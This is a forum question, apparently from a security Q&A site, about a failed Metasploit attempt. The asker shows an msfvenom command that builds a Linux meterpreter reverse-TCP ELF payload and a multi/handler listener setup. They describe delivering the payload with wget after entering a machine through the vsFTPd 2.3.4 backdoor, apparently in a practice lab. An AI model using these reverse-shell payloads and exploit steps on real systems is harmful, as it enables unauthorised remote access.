Payload:  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=  LPORT=443 -f elf > hack.elf

Listener/Handler :exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp;

So after i generated the executable payload on the attacking machine, i copied it over to the victim machine with "wget". When i run the executable on the victim machine, i get this error:

'/hack.elf: line 1: syntax error near unexpected token `vsFTPd'
'/hack.elf: line 1: `220 (vsFTPd 2.3.4)

With nothing appearing on my listener, what am i doing wrong?

EDIT: I gained the session on the victim machine through the VSFTPD v2.3.4 Backdoor Command Execution exploit

  • 1
    To me, it looks like bash (or another shell/interpreter) is trying to execute the file, because of the line numbers. How are you running the executable, and can you post the output of file hack.elf && ls -l hack.elf? – multithr3at3d May 16 at 22:07

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.